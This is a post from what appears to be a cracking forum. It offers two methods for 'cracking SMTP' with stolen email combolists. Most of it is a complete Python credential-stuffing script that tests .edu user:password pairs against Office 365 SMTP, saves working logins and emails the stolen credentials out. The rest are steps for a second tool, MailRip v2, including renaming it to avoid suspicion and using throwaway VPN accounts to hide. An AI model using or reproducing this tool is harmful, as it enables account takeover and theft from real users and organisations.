• We just launched and are currently in beta. Join us as we build and grow the community.

⚡With Tools⚡ 2 WAYS OF CRACKING ✨SMTP✨ FOR FREE ✨⭐

Dontropico

Fantasy Genre Specialist
D Rep
0
0
0
Rep
0
D Vouches
0
0
0
Vouches
0
Posts
86
Likes
149
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 200 XP
2 WAYS FOR CRACKING SMTP FOR FREE
Hi everyone! Today we are gonna see 2 ways to crack smtp for free with python tools. Lets beggin:
Quote:- Use Tunnelbear with a fresh made account (using temp-mail.org) it will give you 2gb more thab enough for 1 run. Can create as many as wanted.
- Run the script.
- On SMTP host put: smtp.office365.com
- On Port: 587
- TLS/SSL: y
- You email for Rzlts: (put here your email for results)
- Use a .edu combolist user:pass (like the ones you can get on my bot)
- When it finish, check your email to see emails that inboxed.
Script (smtp-cracker.py):
Code:
Code:
import smtplib
import threading
import datetime
import time
import os
import sys
import random
import socket
import ctypes
from colorama import Fore, Style, init
init(autoreset=True)
fr = Fore.RED
gr = Fore.BLUE
fc = Fore.CYAN
fw = Fore.WHITE
fy = Fore.YELLOW
fg = Fore.GREEN
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT
live = 0
die = 0
try:
os.mkdir('Master-Log')
except FileExistsError:
pass
def logo():
clear = '\x1b[0m'
colors = [36, 32, 34, 35, 31, 37]
x = '''
_________________________________________________________________________
__   __  _______  _______  _______  _______  ______
|  |_|  ||   _   ||       ||       ||       ||    _ |
|       ||  |_|  ||  _____||    ___||_     _||   | ||
|       ||       || |_____ |   |___   |   |  |   |_||_
|       ||       ||_____  ||    ___|  |   |  |    __  |
| ||_|| ||   _   | _____| ||   |___   |   |  |   |  | |
|_|   |_||__| |__||_______||_______|  |___|  |___|  |_|
'''
for N, line in enumerate(x.split('\n')):
sys.stdout.write('\x1b[1;%dm%s%s\n' % (random.choice(colors), line, clear))
time.sleep(0.05)
def key_logo():
clear = '\x1b[0m'
colors = [36, 32, 34, 35, 31, 37]
x = '''
.--.
/.-. '----------.
'-' .--"--""-"-'
'--'
'''
for N, line in enumerate(x.split('\n')):
sys.stdout.write('\x1b[1;%dm%s%s\n' % (random.choice(colors), line, clear))
time.sleep(0.05)
def cr():
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except Exception:
pass
names = [
"Alice", "Bob", "Charlie", "David", "Emma", "Frank", "Grace", "Hannah", "Ian", "Julia",
"Kevin", "Linda", "Michael", "Nancy", "Oliver", "Pamela", "Quincy", "Rachel", "Samuel", "Tina"
]
subjects = [
"Hello", "Meeting Tomorrow", "Quick Question", "Feedback Request", "Project Update",
"Follow-up", "Ideas for Discussion", "Thank You", "Proposal", "Invitation",
"Weekly Report", "Request for Information", "Urgent: Action Required", "Status Update",
"Suggestion", "Introduction", "Reminder", "Appreciation", "Thoughts on Today's Meeting", "Just Checking In"
]
messages = [
"Hope you're doing well. Let's catch up soon!",
"Looking forward to your feedback on the proposal.",
"Attached is the document you requested.",
"Can we schedule a meeting for tomorrow?",
"Thanks for your prompt response.",
"Here are the details for the upcoming event.",
"Please find the attached report for your review.",
"Let me know if you have any questions.",
"Your opinion matters to us. Please share your thoughts.",
"I appreciate your help on this matter.",
"Looking forward to hearing from you soon.",
"Wishing you a great day ahead!",
"Just checking in on the status of the project.",
"Let's discuss the next steps during our meeting.",
"Could you please confirm your availability?",
"I'm excited to share the latest updates with you.",
"Please let me know if there's anything else you need.",
"Sending you warm regards.",
"Your input is invaluable. Thank you!",
"Looking forward to our continued collaboration."
]
def generate_random_email():
name = random.choice(names)
subject = random.choice(subjects)
message = random.choice(messages)
return f"{name.lower().replace(' ', '_')}_{random.randint(100, 999)}@example.com"
def checker_ssl(user, passw):
global die, live
while True:
if os.name == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW('U{}L{}D{}'.format(totalnum, live, die))
else:
sys.stdout.write('\x1b]2;U{}L{}D{}\x07'.format(totalnum, live, die))
try:
email = generate_random_email()
mailserver = smtplib.SMTP(host, port)
mailserver.ehlo()
mailserver.starttls()
mailserver.login(user, passw)
subj = random.choice(subjects)
date = datetime.datetime.now().strftime('%d/%m/%Y %H:%M')
froma = user
from_addr = froma
to_addr = str(email)
message_text = '{}\n{}:{} Host{}{}'.format(message, user, passw, host, port, date)
msg = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s' % (from_addr, to_addr, subj, date, message_text)
mailserver.sendmail(from_addr, to_addr, msg)
mailserver.quit()
print(' {}[+] Live{} ==> {}:{}'.format(fg, sb, user, passw))
f = open('Master-Log/Live-{}.txt'.format(host), 'a')
f.write('LIVE => %s:%s\n' % (user, passw))
live += 1
except Exception as e:
f = open('Master-Log/Die-{}.txt'.format(host), 'a')
f.write('Die => %s:%s\n' % (user, passw))
die += 1
break
def checker_(user, passw):
global die, live
while True:
if os.name == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW('U{}L{}D{}'.format(totalnum, live, die))
else:
sys.stdout.write('\x1b]2;U{}L{}D{}}\x07'.format(totalnum, live, die))
try:
email = generate_random_email()
mailserver = smtplib.SMTP(host, port)
mailserver.ehlo()
mailserver.login(user, passw)
subj = random.choice(subjects)
date = datetime.datetime.now().strftime('%d/%m/%Y %H:%M')
froma = user
from_addr = froma
to_addr = str(email)
message_text = '{}\n{}:{} Host{}{}'.format(message, user, passw, host, port, date)
msg = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s' % (from_addr, to_addr, subj, date, message_text)
mailserver.sendmail(from_addr, to_addr, msg)
mailserver.quit()
print(' {}[+] Live{} ==> {}:{}'.format(fg, sb, user, passw))
f = open('Master-Log/Live-{}.txt'.format(host), 'a')
f.write('LIVE => %s:%s\n' % (user, passw))
live += 1
except Exception as e:
f = open('Master-Log/Die-{}.txt'.format(host), 'a')
f.write('Die => %s:%s\n' % (user, passw))
die += 1
break
def thread():
global email, host, passw, port, totalnum, user
x = '\n\t\t\t\x1b[1;36m \x1b[0;m            \x1b[1;41m SMTP KING ! Modded By @Me !\x1b[0;m   \x1b[1;36m  \x1b[0;m'
xx = '\t\t\t\x1b[1;36m \x1b[0;m     \x1b[1;41m This tool use custom own host of smtp target like hosted : smtp.office365.com\x1b[0;m   \x1b[1;36m  \x1b[0;m'
xxx = '\t\t\t\x1b[1;36m \x1b[0;m \x1b[1;41m combolist will target which office365 you hosted \x1b[0;m   \x1b[1;36m  \x1b[0;m'
print(x)
print(xx)
print(xxx)
host = input('{}{}\n\t\t[ ! ] Give Me The Smtp Host ! : '.format(fy, sb))
port = input('{}{}\n\t\t[ ! ] Give Me The Smtp Port ! : '.format(fy, sb))
ssl = input('{}{}\n\t\t[ ! ] Do U want Use SSL/TLS Or nun y/n ! : '.format(fy, sb))
email = input('{}{}\n\t\t[ ! ] Your Email For Rezlt ! : '.format(fw, sb))
print('\n\t\t\t{}{}[ ! ] Give Me Combo List ! : '.format(fw, sb), end='')
txt = input()
with open(txt, 'r', errors='ignore') as file:
lista = file.read().split('\n')
totalnum = len(lista)
print('\n\t\t{}{}[ ! ] Threads Number ! : '.format(fw, sb), end='')
threadnum = int(input())
print('{}{}\n\t===============[Start Check for ({}:{})]==============='.format(fy, sb, host, port))
threads = []
if ssl == 'n':
for i in lista:
try:
user = i.split(':')[0]
passw = i.split(':')[1]
except:
continue
thread = threading.Thread(target=checker_, args=(user.strip(), passw.strip()))
threads.append(thread)
thread.start()
if len(threads) == threadnum:
for i in threads:
i.join()
threads = []
continue
time.sleep(15)
else:
for i in lista:
try:
user = i.split(':')[0]
passw = i.split(':')[1]
except:
continue
thread = threading.Thread(target=checker_ssl, args=(user.strip(), passw.strip()))
threads.append(thread)
thread.start()
if len(threads) == threadnum:
for i in threads:
i.join()
threads = []
continue
time.sleep(15)
def start():
cr()
key_logo()
cr()
logo()
thread()
start()
Method 2: MailRip v2
This method use MailRip v2 and a regular combo mail:pass
Quote:- Download
You must upgrade your account or reply in the thread to view the hidden content.
- Modify lines 650 and 651 on
You must upgrade your account or reply in the thread to view the hidden content.
, Change MailRipV2 and MailRip and use Hello instead. (cause its fucking sus lol)
- install requirements with: pip3 install -r requirements.txt
- Use Tunnelbear with a fresh made account (using temp-mail.org) it will give you 2gb more thab enough for 1 run. Can create as many as wanted.
- Run script
- Press Enter, then 1 (for option 1)
- Send test email? (yes / no): yes
- Enter amount of threads to use: 20
- Enter value for timeout: 3
- Use blacklist for email domains: (yes / no) yes
- Enter YOUR email for delivery test: (your email)
- Enter
- 2 (for option 2)
- put your combo email:pass and then enter. it will blacklist all gmail,outlook,etc (You can get great combos with our bot)
- Then again in my menu use 4 to start the attack
- When finish check your email for results.
 

452,496

337,656

337,664

Top